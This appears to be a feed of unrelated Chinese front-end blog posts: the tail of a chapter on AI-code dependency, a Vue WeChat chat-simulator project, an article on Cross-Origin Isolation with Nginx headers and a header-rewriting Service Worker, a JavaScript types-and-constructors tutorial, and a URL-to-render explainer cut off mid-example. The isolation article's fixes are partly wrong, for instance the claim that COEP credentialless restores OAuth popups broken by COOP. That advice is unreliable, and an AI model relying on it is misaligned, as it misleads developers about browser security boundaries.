- 不知道性能瓶颈可能在哪里
- 不清楚扩展性限制
- 无法评估技术债影响

表现4:创造性依赖

场景:解决新问题

传统思路:
1. 分析问题本质
2. 查阅相关资料
3. 设计解决方案
4. 验证可行性
5. 实施并优化

AI依赖思路:
1. "AI,这个问题怎么解决?"
2. 直接采用AI建议
3. 不工作,再问AI
4. 重复直到解决或放弃

4.4.3 真实案例分析

案例:某创业公司技术团队

背景:
- 10人前端团队
- 2023年初全面采用AI工具(Copilot + ChatGPT)
- 新功能开发速度提升50%

6个月后:
- Bug数量增加200%
- 线上故障频率上升300%
- 调试平均时间从2小时增加到6小时
- 最严重:当OpenAI API故障时,团队几乎无法工作

根因分析:
1. 过度依赖AI,基础能力下降
2. 不审查AI代码,直接提交
3. 不理解AI生成代码的逻辑
4. 丧失独立解决问题能力

结果:
- 项目延期3个月
- 2名核心工程师离职
- 公司被迫进行技术培训,回归基础

4.4.4 防范策略

策略1:基础能力训练

## 每周基础训练计划

周一:算法练习(LeetCode 1题,手写)
周二:CSS布局练习(不用框架)
周三:JavaScript原理(闭包、原型链、事件循环)
周四:系统设计与架构
周五:代码审查(审查AI生成代码,理解每行)

要求:
- 关闭AI辅助
- 手写代码
- 深入理解原理

策略2:AI作为教练,而非替代

✅ 正确的使用方式:
- "AI,解释这个算法的时间复杂度"
- "AI,这个设计模式有什么优缺点?"
- "AI,帮我 review 这段代码"

❌ 错误的使用方式:
- 直接复制AI代码,不看不理解
- "AI,写个功能",然后直接提交
- 遇到问题第一反应是问AI,而非自己思考

策略3:代码所有权原则

## 代码所有权原则

1. 理解原则
   - 提交代码前,必须完全理解每行代码的作用
   - 能够向他人解释代码逻辑
   - 能够回答关于代码的任何问题

2. 审查原则
   - AI生成的代码必须经过人工审查
   - 安全、性能、可访问性检查不能省略
   - Code Review时重点关注AI生成部分

3. 核心代码人工编写
   - 核心算法必须手写
   - 安全相关代码必须手写
   - 架构设计必须人工主导

策略4:渐进式依赖

AI使用成熟度模型:

Level 1: 辅助(Assisted)
├─ AI帮助代码补全
├─ AI帮助文档生成
└─ 核心逻辑人工编写

Level 2: 增强(Augmented)
├─ AI生成工具函数
├─ AI帮助重构
└─ 人工审查和修改

Level 3: 协作(Collaborative)
├─ AI生成非核心功能
├─ 人工指导方向
└─ 人机共同完成

Level 4: 自主(Autonomous)- 谨慎采用
├─ AI自动生成大部分代码
├─ 人工主要审查
└─ 适用于探索性项目,不适用于生产

建议:保持在Level 2-3,不要轻易进入Level 4

4.5 小结:在拥抱与审慎之间

AI生成代码的问题不是"要不要用",而是"如何安全地用"。本章讨论的风险不是为了吓唬读者,而是为了建立正确的使用预期。

核心原则

  1. AI是放大器,不是替代者

    • AI放大的是人类的判断力和创造力
    • AI不能替代人类的思考和决策
  2. AI负责"从0到70%",人类负责"70到100%"

    • AI可以快速生成骨架
    • 但质量把关、边缘情况、优化完善必须人工完成
  3. AI生成的代码必须经过人工审查才能进入生产环境

    • 建立严格的质量门禁
    • 可访问性、性能、安全缺一不可
  4. 建立AI使用规范和风险清单,制度化地管理风险

    • 明确哪些可以用AI,哪些必须手写
    • 建立审查流程和检查清单
    • 持续监控和优化

记住

优秀的工程师不会被AI替代,但拒绝学习AI的工程师可能会被使用AI的工程师替代。

同样:

盲目依赖AI的工程师可能会被保持独立思考的工程师超越。

在拥抱与审慎之间找到平衡,这才是AI时代的生存之道。


下章预告

第五章《角色的重构——AI时代前端工程师的核心竞争力》将探讨:

  • 能力模型的根本性转变
  • 从"创造者"到"策展人"的角色转变
  • 人机协作的新模式:70/30法则
  • 不可替代的人类价值
  • 新能力培养的路线图

我做了个微信聊天模拟器,已开源

作者 李剑一
2026年4月16日 13:55

消失了两天,最近做了一个小项目。

起因是在网上看到一个微信聊天的模拟器,对于一些自媒体小编来说还是挺有实际意义的。

image.png

但是那个项目我个人感觉做的不是太好,而且微信经过这么多代的版本,和当初的样式已经有了较大差距。

所以我打算基于现在新版本的微信做个微信聊天的模拟器。

当前项目已经开源,但是还没部署到服务器上,所以暂时先放一下开源地址:

gitee.com/maple2133/v…

这里先打个"保护":

声明

  1. 版权归属:本项目中涉及的微信相关名称、图标、界面样式等所有相关知识产权,均归属腾讯公司及相关原作者所有,本项目不享有任何相关版权。
  2. 使用用途:本项目仅用于交流学习,旨在为开发者提供技术研究、功能调试的参考,不用于任何商业用途、盈利活动,不替代微信官方产品。
  3. 责任说明:使用者使用本项目产生的一切行为,均由使用者自行负责。若使用者因违规使用、滥用本项目,或利用本项目侵犯他人合法权益(含版权、隐私等),相关法律责任、赔偿责任均由使用者独立承担,与本项目作者无关。

技术架构

项目上了 Vite v8+,既然有新的我觉得还是上新的,跟上潮流嘛!

image.png

另外就是 Vue3 + Ts 的框架,UI用的是 Element-plus

还有就是 PiniaVueRouter,截图这里我没用 html2Canvas,而是用的 snapdom

个人觉得 snapdom 还是挺好用的,当然目前还没体会到速度的区别。

具体实现

页面分为左右两个部分,模拟两个手机窗口。

当前 v0.0.1 版本仅支持 文本消息语音消息时间消息,后期会逐渐更新其他消息格式,请大家持续关注这个项目,如果能点个 Start⭐ 那就非常感谢了。

手机部分进行了单独的封装:

<template>
    <div class="phone-container">
        <div class="phone-content">
            <div class="phone">
                <div class="phone-head">
                    <div class="phone-time">{{ setForm.hour }}:{{ setForm.minute }}</div>
                    <div class="phone-sigle" :class="phoneSigleClass"></div>
                    <div class="phone-wifi" :class="wifiClass"></div>
                    <div class="phone-battery">
                        <div class="battery-level" :style="{ width: setForm.batteryLevel + '%' }"></div>
                    </div>
                </div>
                <div class="phone-nav">
                    <div class="nav-left">
                        <div class="nav-back">返回</div>
                        <div class="unread-num">{{ setForm.msgCount }}</div>
                    </div>
                    <div class="nav-center">
                        <div class="chat-name">
                            {{ props.position === 'left' ? setForm.dialogTitle1 : setForm.dialogTitle2 }}
                        </div>
                    </div>
                    <div class="nav-right">
                        <div class="nav-more"></div>
                    </div>
                </div>

                <PhoneBody :position="props.position" :msgList="props.msgList" />

                <div class="phone-bottom">
                    <div class="bottom-chat">
                        <div class="chat-voice"></div>
                        <div class="chat-input"></div>
                        <div class="chat-emoji"></div>
                        <div class="chat-more"></div>
                    </div>
                    <div class="bottom-bar">
                        <span class="bar"></span>
                    </div>
                </div>
            </div>
        </div>
    </div>
</template>

<script setup lang="ts">
import { ref, computed } from 'vue'
import PhoneBody from './PhoneBody.vue'
import { useSetStore } from '@/store/useSetStore'

const setStore = useSetStore()

const setForm = ref(setStore.form);

const props = defineProps({
    position: {
        typeString,
        default'left'
    },
    msgList: {
        typeArray,
        default() => []
    }
})

const phoneSigleClass = computed(() => {
    return 'phone-sigle-v' + setForm.value.mobileSignal
})

const wifiClass = computed(() => {
    return 'phone-wifi-s' + setForm.value.wifiSignal
})
</script>

这里因为手机上的设置是能进行更改的,所以将参数存在了 Pinia 中,方便全局调用。

image.png

而消息部分以消息类型进行划分,每种消息类型单独切割成组件。

<template>
    <div class="phone-body" ref="chatBoxRef">
        <div class="msg-content">
            <component v-for="item in messageList" :key="item.id" :is="item.component" :msgInfo="item" :position="props.position" />
        </div>
    </div>
</template>

<script setup lang="ts">
import { computed, onMounted, ref } from 'vue'
import MsgText from './MsgText.vue'
import MsgVoice from './MsgVoice.vue'
import MsgTime from './MsgTime.vue'

const components = [
    {
        msgType'text',
        componentMsgText
    },
    {
        msgType'voice',
        componentMsgVoice
    },
    {
        msgType'time',
        componentMsgTime
    }
]

const props = defineProps({
    position: {
        typeString,
        default() => 'left'
    },
    msgList: {
        typeArray,
        default() => []
    }
})

const chatBoxRef = ref<HTMLElement>()

const messageList = computed(() => {
    const list = props.msgList.map((item: any) => {
        return {
            ...item,
            // 根据消息类型确定使用哪种组件
            component: components.find((component: any) => component.msgType === item.msgType)?.component || MsgText
        }
    })
    return list
})

onMounted(() => {
    // 监听消息列表变化,滚动到底部
    const chatBox = chatBoxRef.value as HTMLElement;
    const scrollToBottom = () => {
        if (chatBox) {
            chatBox.scrollTop = chatBox.scrollHeight
        }
    }
    const observer = new MutationObserver(scrollToBottom);
    observer.observe(chatBox, {
        childListtrue,
        subtreetrue
    });
})
</script>

总结

其实这个项目技术上来说不复杂,最困难的地方其实是怎样100%复刻微信的UI样式,还有iPhone的头等等样式。

后面会继续维护这个项目,大家可以关注一波,如果能够点个Start⭐那就最为感谢了!

gitee.com/maple2133/v…

开启 Cross-Origin Isolation 后,我的网站"社会性死亡"了

作者 DiffServ
2026年4月16日 11:08

最近在折腾 AudioWorklet + SharedArrayBuffer 的极致优化,被迫卷入了浏览器最底层的 Spectre 漏洞防御机制。MDN 说开启 COOP/COEP 是"最佳实践",Chrome 控制台也在疯狂警告——不开就用不了 SharedArrayBuffer。于是我就开了。

然后网站炸了。

OAuth 登录白屏。Google Analytics 静默死亡。CDN 图片全黑屏。不是 Bug,是隔离的物理代价。

如果你也在折腾 Next.js 性能优化或者 SharedArrayBuffer,这篇避坑指南可能会帮你省下 3 天的排查时间。


0. 动机

我在做 AudioWorklet + SharedArrayBuffer 的无锁通信。SAB 是唯一能让主线程和音频线程共享内存的原生方案——没有它,每帧都要 postMessage 序列化,延迟直接翻倍。

但 SAB 有个前提:浏览器要求页面必须开启 Cross-Origin Isolation。也就是在响应头里加上:

Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp

MDN 说这是"最佳实践"。Chrome 的控制台也在疯狂警告你不开就用不了 SAB。于是我就开了。

然后网站炸了。

1. 社会性死亡现场

1.1 OAuth 登录阵亡

GitHub OAuth 弹窗登录,点完授权,回调页面白屏。window.openernull

原因很简单:COOP: same-origin 会切断跨域窗口之间的引用。你的 OAuth 弹窗和主页面不同源,window.opener 直接被浏览器置空。授权码拿不回来,登录流程断裂。

这不是 Bug,是隔离的物理代价。

1.2 第三方 SDK 变僵尸

Google Analytics 不报数据了。Sentry 不捕获错误了。不是它们挂了,是 COEP: require-corp 把所有不带 Cross-Origin-Resource-Policy 响应头的跨域资源全部拦截了。

你的页面加载了 analytics.google.com/ga.js,这个脚本没有 CORP 头,浏览器直接拒绝执行。GA 就这样无声无息地死了——没有错误,没有降级,就是静默失败。

1.3 媒体黑屏

CDN 上的图片全变黑块。<img src="https://cdn.example.com/photo.jpg"> 加载不出来。原因同上:CDN 的图片响应没有 Cross-Origin-Resource-Policy 头,被 COEP 一刀切了。

你能控制自己的 Nginx,但你控制不了别人的 CDN。这就是隔离最毒的地方:它的限制是全局的,不区分"你的资源"和"你引用的资源"。

2. 为什么会这样

这一切的根源是 Spectre

2018 年的 Spectre 漏洞证明了:恶意 JavaScript 可以通过侧信道攻击读取同一进程内其他域名的内存。为了防御,Chrome 实施了 Cross-Origin Isolation——用进程级隔离确保不同源的资源不会出现在同一渲染进程里。

代价是:所有跨域资源都必须显式声明"我允许被嵌入"。不声明的,一律拦截。这就是 COEP 的逻辑。

而 COOP 切断 window.opener,是为了防止跨域窗口通过 window.opener 访问原始页面的 DOM。这是同源策略在隔离模式下的强化版。

3. 基础修复

3.1 自己的资源:Nginx 配置

对于你能控制的资源,在 Nginx 里加上 CORP 头:

add_header Cross-Origin-Resource-Policy "cross-origin" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;

这样你自己的图片、脚本、样式就不会被 COEP 拦截。

3.2 OAuth 回调:Credentialless 模式

Chrome 96+ 支持 Cross-Origin-Embedder-Policy: credentialless。这个模式允许不带凭证加载跨域资源,同时保留 COEP 的隔离语义。OAuth 弹窗在这个模式下可以正常回调。

# 替换 require-corp 为 credentialless
add_header Cross-Origin-Embedder-Policy "credentialless" always;

3.3 第三方 SDK:CSP 白名单

对于 GA、Sentry 这类必须执行的跨域脚本,可以用 crossorigin 属性显式声明:

<script src="https://analytics.google.com/ga.js" crossorigin></script>

但这只是声明意图,最终能不能加载还是取决于对方服务器的 CORS 配置。如果对方不支持 CORS,你只能走 Service Worker。

4. Service Worker:给第三方资源"办签证"

这是我找到的最可靠的方案。

原理:Service Worker 可以拦截页面发出的所有请求,包括跨域的。在 SW 里,你可以给任何响应补上缺失的 COEP/CORP 头——相当于在客户端侧给第三方资源"补办签证"。

// service-worker.js
self.addEventListener('fetch', (event) => {
  event.respondWith(
    fetch(event.request).then((response) => {
      // 只给缺少 CORP 头的跨域响应补头
      if (!response.headers.has('Cross-Origin-Resource-Policy')) {
        const newHeaders = new Headers(response.headers)
        newHeaders.set('Cross-Origin-Resource-Policy', 'cross-origin')
        return new Response(response.body, {
          status: response.status,
          statusText: response.statusText,
          headers: newHeaders,
        })
      }
      return response
    })
  )
})

这样,即使第三方 CDN 不支持 CORP,你的 Service Worker 也能在客户端侧把缺失的头补上。页面正常加载,SAB 正常工作,隔离也保持完整。

注意:这个方案只适用于公开资源(图片、公开 JS)。涉及凭证的 OAuth 流程,还是得走 Credentialless 模式。

5. 交互式沙盒

我做了一个基于真实状态机的可交互式跨域隔离沙盒——你可以亲手拨动开关,看 COOP/COEP 一刀切下去,网站是怎么死的,又是怎么被抢救回来的。

由于社区平台限制,无法演示动态拦截效果。欢迎来我的独立博客亲自体验:

👉 交互式跨域隔离沙盒 — diffserv.xyz

6. 完整的隔离策略

把以上方案组合起来,一份生产级配置:

# Nginx:开启隔离
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "credentialless" always;
// Service Worker:给公开资源补 CORP 头
// (见上方代码)
<!-- 页面中:显式声明 crossorigin -->
<script src="https://cdn.example.com/lib.js" crossorigin></script>
<img src="https://cdn.example.com/photo.jpg" crossorigin />

COOP: same-origin 隔离窗口引用。COEP: credentialless 允许 OAuth 回调。Service Worker 补齐第三方资源的 CORP 头。三层配合,隔离生效,功能不残。

7. 底线

Cross-Origin Isolation 不是可选项——如果你要用 SharedArrayBuffer,它就是强制的。但隔离的代价是真实的:OAuth 会断、SDK 会死、图片会黑屏。

这些不是 Bug,是浏览器在 Spectre 时代筑起的柏林墙。你推不倒它,但你可以学会在墙这边过日子。

Service Worker 办签证、Credentialless 留后路、Nginx 配自己的地盘。三条路走通,隔离世界就能活。


在线实验:STW Sentinel Lab

NPM:npm i stw-sentinel

GitHub:hlng2002/stw-sentinel

前端JavaScript:数据类型、实例对象 、内置对象、构造函数之间的关系

作者 淸湫
2026年4月16日 10:08

在JavaScript开发中,数据类型、实例对象、内置对象、构造函数是四个高频出现且紧密关联的核心概念。很多前端开发者在入门或进阶过程中,容易混淆它们之间的关系——比如分不清“内置对象和构造函数的区别”,不知道“实例对象从何而来”,甚至把“数据类型”和“对象”直接画上等号。本文将从基础概念出发,用通俗的语言+实战代码,层层拆解四者的关联,帮你彻底理清逻辑,夯实JavaScript基础。

一、先明确四个核心概念

在讲关系之前,我们先单独搞懂每个概念的本质,避免因概念模糊导致理解偏差。重点记住:四者的核心关联是“构造函数生成实例对象,实例对象属于特定数据类型,内置对象是JavaScript自带的‘模板/工具集’”

1. 数据类型:JavaScript中“值的分类”

数据类型是JavaScript对“值”的分类,本质是描述“一个值是什么类型、能做什么”。根据ES6标准,JavaScript有7种基本数据类型和1种引用数据类型,共8种:

  • 基本数据类型(primitive type):StringNumberBooleanUndefinedNullSymbolBigInt(不可变、存储在栈中,直接访问值);
  • 引用数据类型(reference type):Object(可变、存储在堆中,访问的是内存地址),而数组(Array)、日期(Date)、正则(RegExp)等都属于Object的“子类型”。

注意:很多人会说“数组是一种数据类型”,其实不准确——数组是“引用数据类型(Object)下的一个具体类别”,本质是Object的实例。数据类型是“顶层分类”,而数组、对象、函数等是“引用类型下的细分”。

2. 构造函数:生成实例对象的“模板/工厂”

构造函数的本质是“一个普通的函数”,但有两个特殊点:① 命名规范通常首字母大写(区分普通函数);② 必须用new关键字调用,目的是“生成实例对象”。

构造函数的核心作用:定义实例对象的“结构和方法”,相当于给实例对象设定“模板”——比如用构造函数定义“人”的模板(有姓名、年龄属性,有说话方法),每次new调用,就生成一个具体的“人”的实例。

示例(自定义构造函数):

// 构造函数(模板:定义“人”的结构)
function Person(name, age) {
  this.name = name; // 实例属性
  this.age = age;
  this.sayHi = function() { // 实例方法
    console.log(`你好,我是${this.name}`);
  };
}

// new调用构造函数,生成实例对象
const person1 = new Person("张三", 20);
const person2 = new Person("李四", 22);

这里的Person就是构造函数,person1、person2是它生成的两个不同实例对象。

3. 实例对象:构造函数的“具体产物”

实例对象(简称“实例”)是通过“new + 构造函数”创建的具体对象,它继承了构造函数定义的所有属性和方法。每个实例都是独立的,拥有自己的属性值,但共享构造函数的方法(优化后可共享,后文会提)。

简单理解:构造函数是“图纸”,实例对象是根据图纸造出来的“具体产品”——图纸(Person)不变,但造出来的产品(person1、person2)可以有不同的属性(姓名、年龄不同)。

补充:基本数据类型也有“包装实例”——JavaScript在使用基本数据类型的方法时(比如字符串的slice方法),会临时将其包装成对应的实例对象,用完后自动销毁。示例:

const str = "hello"; // 基本数据类型(String)
const result = str.slice(0, 3); // 临时包装成String实例,调用slice方法
console.log(str); // 还是基本数据类型,没有被改变

4. 内置对象:JavaScript自带的“现成工具/模板”

内置对象是JavaScript引擎自带的对象,不需要我们手动定义,可直接使用。它们分为两类:

  • 内置构造函数:可通过new调用生成实例对象,比如StringNumberArrayDateRegExpObject等;
  • 非构造函数型内置对象:不能用new调用,直接使用其属性和方法,比如Math(数学工具)、JSON(数据解析)等。

内置对象的核心作用:帮我们节省开发成本——比如不需要自己写“数组排序方法”,直接用Array.prototype.sort();不需要自己写“日期格式化”,直接用Date对象的方法。

二、四者的核心关联(图文逻辑+代码验证)

搞懂了单个概念,我们用“从模板到产物”的逻辑,梳理四者的关联,核心链路:内置对象(内置构造函数)/自定义构造函数 → new调用 → 实例对象 → 实例对象属于特定数据类型

1. 关联一:构造函数(内置/自定义)→ 实例对象(核心关系)

这是最基础、最核心的关联:实例对象必须通过构造函数生成,没有构造函数,就没有实例对象。无论是JavaScript自带的内置构造函数,还是我们自己写的自定义构造函数,都遵循这个规则。

分两种场景理解:

场景1:内置构造函数 → 内置实例对象

JavaScript的内置构造函数(属于内置对象),是我们生成常用实例对象的“现成模板”:

// 1. Array(内置构造函数)→ 数组实例(引用数据类型)
const arr = new Array(1, 2, 3); // arr是Array的实例对象,数据类型是Object(引用类型)
console.log(arr instanceof Array); // true(验证:arr是Array的实例)

// 2. Date(内置构造函数)→ 日期实例
const now = new Date(); // now是Date的实例对象,数据类型是Object
console.log(now instanceof Date); // true

// 3. String(内置构造函数)→ 字符串实例(包装对象)
const strObj = new String("hello"); // strObj是String的实例,数据类型是Object
const str = "hello"; // 基本数据类型(String),非实例对象

场景2:自定义构造函数 → 自定义实例对象

我们自己写的构造函数,生成的是符合我们需求的自定义实例对象,本质和内置构造函数生成实例的逻辑一致:

// 自定义构造函数(模板)
function Car(brand, price) {
  this.brand = brand;
  this.price = price;
  this.run = function() {
    console.log(`${this.brand}在行驶`);
  };
}

// 生成自定义实例对象
const bmw = new Car("宝马", 300000);
const benz = new Car("奔驰", 400000);

console.log(bmw instanceof Car); // true(bmw是Car的实例)
console.log(benz instanceof Car); // true

2. 关联二:实例对象 → 数据类型(归属关系)

每个实例对象,都属于某一种数据类型——所有实例对象(无论是内置的还是自定义的),本质上都是“引用数据类型(Object)”,但可以细分到更具体的类别(比如ArrayDate、自定义类型)。

这里要区分两个判断维度(避免混淆):

  • typeof判断:所有实例对象的typeof结果都是“object”(因为它们都是引用类型);
  • instanceof判断:可以判断实例对象属于哪个具体的构造函数(比如arr instanceof Array → truebmw instanceof Car → true);
  • Object.prototype.toString.call()判断:可以准确判断实例对象的具体内置类型(比如判断数组、日期),但无法区分自定义实例(比如判断bmw,结果是“[object Object]”)。

代码验证:

const arr = new Array(1, 2, 3);
const now = new Date();
const bmw = new Car("宝马", 300000);

// typeof判断(只能区分基础类型和引用类型)
console.log(typeof arr); // "object"
console.log(typeof now); // "object"
console.log(typeof bmw); // "object"

// instanceof判断(区分具体构造函数)
console.log(arr instanceof Array); // true
console.log(now instanceof Date); // true
console.log(bmw instanceof Car); // true

// Object.prototype.toString.call()判断(准确判断内置类型,无法区分自定义)
console.log(Object.prototype.toString.call(arr)); // "[object Array]"
console.log(Object.prototype.toString.call(now)); // "[object Date]"
console.log(Object.prototype.toString.call(bmw)); // "[object Object]"

3. 关联三:内置对象 → 构造函数(包含关系)

内置对象包含“内置构造函数”和“非构造函数型内置对象”,也就是说:内置构造函数是内置对象的一部分

举个例子:

  • 内置对象Math:非构造函数型,不能用new调用,直接使用(Math.random()Math.max());
  • 内置对象Array:内置构造函数,可以用new调用生成数组实例(new Array());
  • 内置对象Object:内置构造函数,是所有引用类型的“顶层构造函数”——所有实例对象(包括ArrayDate、自定义实例)都继承自Object.prototype

补充:所有构造函数(内置、自定义)的原型对象,都继承自Object.prototype,这也是为什么所有实例对象都能使用toString()valueOf()等方法(这些方法定义在Object.prototype上)。

4. 关联四:数据类型与构造函数(对应关系)

基本数据类型和内置构造函数有一一对应的关系,引用数据类型则对应其具体的构造函数(内置或自定义):

数据类型 对应构造函数 示例
基本数据类型 - String String(内置构造函数) new String("hello")(包装实例)
基本数据类型 - Number Number(内置构造函数) new Number(123)(包装实例)
引用数据类型 - 数组 Array(内置构造函数) new Array(1,2,3)(数组实例)
引用数据类型 - 日期 Date(内置构造函数) new Date()(日期实例)
引用数据类型 - 自定义类型 自定义构造函数(如Person、Car) new Person("张三", 20)(自定义实例)

三、常见误区(避坑重点)

很多开发者混淆四者关系,本质是陷入了以下误区,结合代码逐一纠正:

误区1:把“基本数据类型”和“实例对象”混淆

错误认知:“const str = 'hello' 是String的实例对象”;

正确认知:str是基本数据类型(String),不是实例对象;只有用new String("hello")生成的才是String的实例对象(包装对象)。

验证:

const str1 = "hello";
const str2 = new String("hello");

console.log(str1 instanceof String); // false(不是实例)
console.log(str2 instanceof String); // true(是实例)
console.log(typeof str1); // "string"(基本类型)
console.log(typeof str2); // "object"(引用类型,实例对象)

误区2:认为“内置对象就是构造函数”

错误认知:“Math是构造函数,可以用new Math()生成实例”;

正确认知:内置对象分为“构造函数型”和“非构造函数型”,Math是非构造函数型内置对象,不能用new调用,直接使用其属性和方法。

验证:

const mathObj = new Math(); // 报错:Math is not a constructor
console.log(Math.random()); // 正确:直接使用Math的方法

误区3:用typeof判断实例对象的具体类型

错误认知:“typeof arr === 'array' 可以判断数组”;

正确认知:typeof只能区分基础类型和引用类型,判断实例对象的具体类型,要用instanceofObject.prototype.toString.call()

验证:

const arr = [1, 2, 3];
console.log(typeof arr); // "object"(无法区分是数组还是普通对象)
console.log(arr instanceof Array); // true(正确判断数组)
console.log(Object.prototype.toString.call(arr)); // "[object Array]"(准确判断)

四、总结(一句话理清所有关系)

JavaScript中,数据类型是值的顶层分类(基础+引用)内置对象是JS自带的工具集(包含内置构造函数)构造函数(内置/自定义)是生成实例对象的模板实例对象是构造函数的具体产物,属于引用数据类型,继承构造函数的属性和方法

核心链路再梳理:

内置构造函数(如Array)/自定义构造函数(如Car) → new调用 → 实例对象(如arr、bmw) → 实例对象属于引用数据类型(Object),且可通过instanceof判断其具体归属的构造函数。

理解四者的关系,不仅能帮你夯实JavaScript基础,更能让你在后续学习原型、继承、面向对象编程时,快速理解核心逻辑——毕竟,JS的面向对象本质,就是“通过构造函数生成实例,通过原型实现继承”。

网页都知道要双向握手才加载!从 URL 到页面渲染,单向喜欢连 DNS 都解析不通

2026年4月16日 08:54

前言

有的人像 UDP 情绪来的时候一句话发出去,回不回来无所谓,至少那一刻是真实的。有的人像 TCP 每一句话都小心翼翼的等待回应,每一步靠近都要对方确认,缺少哪一次握手就不敢继续。而她,她既不是 UDP 也不是 TCP,她只是对你不想通信。真正的残酷不是丢包,不是延迟,不是超时,而且你始终在发送,她一直在沉默,你把自己当成 TCP 一样努力维持连接,一次次,你好,在吗,怎么不回消息,像三次握手一样想建立稳定的关系,但她从未回过你的 SYN,连第一步都没想过要和你完成,所以别再自我欺骗了,不是你没发好,不是你格式错了,不是你不够温柔细心坚持,是她压根就不想接受你的数据流,她不主动,不是害羞,不是忙,不是不知道说什么,而是她没有把你加入她的连接表里,你再怎么重传,重连,等待确认,都改变不了一件事,她不想与你通信,这才是全部真相

敲下 URL 后,网页到底偷偷做了什么?

对着浏览器地址栏敲下https://www.baidu.com,按下回车的瞬间,短短几秒百度首页就出现在眼前,这背后到底藏着怎样的 “神仙操作”?其实从输入网址到页面渲染,就像一场精心编排的 网络接力赛,今天我们一起去现场看看。

image.png

一、第一步:DNS 解析,给网址找个 “身份证”

想要访问百度,浏览器首先得知道:www.baidu.com这个好记的网址,对应的真实 “网络地址”(IP 地址)是什么?这就像你想找朋友玩,光知道名字不够,还得知道他家的具体住址,DNS 解析干的就是这个 “查住址” 的活儿。

浏览器会先向本地域名服务器发起查询,如果本地服务器有缓存,直接就能拿到网页;要是本地没有,这场 “查地址” 的旅程 就会继续:

  • 本地服务器先问根域名服务器
  • 再问顶级域名服务器
  • 最后找到百度的目标域名服务器,直到拿到对应的 IP 地址

拿到 IP 后,服务器还会把这个地址存进 DNS 缓存,下次再访问百度,就能直接 “抄近路”,不用再反复查询了。这就是为什么我们第一次打开百度可能等几秒,但后面几乎不需要等待。

image.png

简单说,DNS 解析就是给网址匹配唯一 IP 的过程,有了这个 IP,浏览器才能精准找到百度的服务器,开启后续的通信。

二、第二步:TCP 三次握手,和服务器 “握个手交个朋友”

拿到了百度服务器的 IP 地址,浏览器还不能直接发请求,因为互联网上的数据传输,全靠 TCP 协议 “保驾护航”,而 TCP 协议要求通信双方必须先建立连接,这就是大名鼎鼎的 三次握手

  1. 浏览器(客户端)先给服务器发一个 SYN 包,相当于说:“嗨,我想和你建立连接,行不行?”,随后客户端进入等待状态
  2. 服务器收到后,回传一个 SYN-ACK 包,意思是:“我收到啦,我同意连接,你确认一下?”,服务器也进入等待状态
  3. 浏览器收到服务器的回应,再发一个 ACK 包:“收到你的同意啦,咱们连接建立成功!”,至此双方都进入正常通信状态

image.png

面试考点:为什么不是两次/四次,而是三次握手呢?

  • 两次握手只能确保服务器收到了客户端的请求,但客户端没法确认服务器是否真的准备好,很容易出现连接失败、数据传输出错的问题,会产生失效的半连接,浪费资源
  • 四次握手步骤冗余,没必要
  • 三次握手刚好能 双向验证收发能力,保证双方都正常可用,是建立可靠连接的最少必要次数

三、第三步:HTTP/HTTPS 通信,向服务器 “要资源”

连接建立成功后,就到了核心的 通信环节,浏览器要向百度服务器发送 “请求”,要到百度首页的相关资源,这一步的 “沟通语言” 就是 HTTP/HTTPS 协议。

1. HTTP 协议:网络通信的 “通用普通话”

HTTP 协议是基于 TCP 的应用层协议,就像客户端和服务器之间约定好的普通话,定义了双方怎么说话、怎么传数据。它的发展也经历了好几个版本,每一次升级都在解决前一个版本的痛点,堪称 “持续优化的典范”,这边我给到一个夯 😄。

image.png

HTTP/0.9:最原始的版本,主打一个 “简单”,只能传输小小的 HTML 文件,没有请求头、响应头,就像两个人说话只说核心内容,没有任何客套话
HTTP/1.0:随着图片、视频、JS 文件等资源需要传输,这个版本新增了请求头、响应头,还加入了状态码、缓存机制,就像说话时加上了 “敬语” 和 “补充说明”,能传递更多信息,满足多种文件的传输需求
HTTP/1.1:实现了持久连接,一次 TCP 连接能传多个请求和响应,不用每次请求都重新握手,效率大大提升,还加入了 host 字段指定目标主机,但也存在队头阻塞的问题,一个请求卡壳,后面的请求都得等着
HTTP/2.0:针对 1.1 的痛点升级,只保留一个 TCP 连接,把多个请求切成小片段,还能给片段打加急标签,服务器可以优先处理重要请求,解决了队头阻塞,还加入了头部压缩,减少数据传输量,让通信更高效
HTTP/3.0:发现 TCP 协议本身还是有队头阻塞问题,干脆 “换了赛道”,基于 UDP 协议打造了 QUIC 协议,既保留了 TCP 的可靠传输、流量控制优势,又解决了队头阻塞,还实现了 TLS 加密、快速握手,堪称目前最完美的版本。

2. HTTPS:给 HTTP 加个 “加密保险箱”

我们平时访问的百度是HTTPS开头,而非HTTP,多出来的这个 S,就是 SSL/TLS 加密协议,相当于给 HTTP 通信加了一个 “加密保险箱”,防止数据在传输过程中被窃取、篡改。

image.png

它的加密方式很巧妙,结合了对称加密和非对称加密:

  • 客户端先生成一个密钥,服务器生成一对公钥和私钥
  • 服务器把公钥发给客户端,客户端用公钥给密钥加密后传给服务器,
  • 只有服务器的私钥能解开这个加密的密钥
  • 之后双方就用这个密钥进行对称加密通信,既保证了加密的安全性,又兼顾了传输的效率

image.png

简单来说,浏览器通过 HTTP/HTTPS 协议向服务器发送请求,告诉服务器:“我需要百度首页的 HTML、CSS、JS 等资源”,服务器收到请求后,会根据请求内容准备好对应的资源。

四、第四步:服务器响应,把资源 “送过来”

百度服务器收到浏览器的 合法请求 后,会立刻开始 “备货”,把首页的 HTML 文件、图片资源、样式文件、脚本文件等整理好,通过已经建立的 TCP 连接,再借助 HTTP/HTTPS 协议,将这些资源一步步传 输回浏览器

在传输过程中,TCP 协议会全程保驾护航

  • 把大的资源分成一个个小数据包,给每个数据包标上序列号,确保数据有序传输
  • 接收端收到数据包后,会发回确认号,要是某个数据包丢失,发送端会重新传输,这就是 TCP 的可靠传输
  • 如果是 HTTP/2.0 或 3.0,还会通过分块传输、多路复用等方式,让资源传输更快、更顺畅

五、第五步:浏览器渲染,让网页 “活起来”

当浏览器拿到服务器传来的所有资源后,就到了最后一步 —— 页面渲染,这也是让百度首页从一堆代码变成我们看到的精美页面的关键。

1. 解析 HTML,构建 DOM 树

浏览器会逐行读取 HTML 代码,将每个标签、属性、文本转换成 DOM(文档对象模型)节点,最终形成一棵层级分明的 DOM 树。DOM 树是页面结构的 “骨架”,记录了所有元素的层级关系和基本信息。

<!-- 原始HTML -->
<!DOCTYPE html>
<html>
  <head>
    <title>测试页面</title>
  </head>
  <body>
    <div class="box">
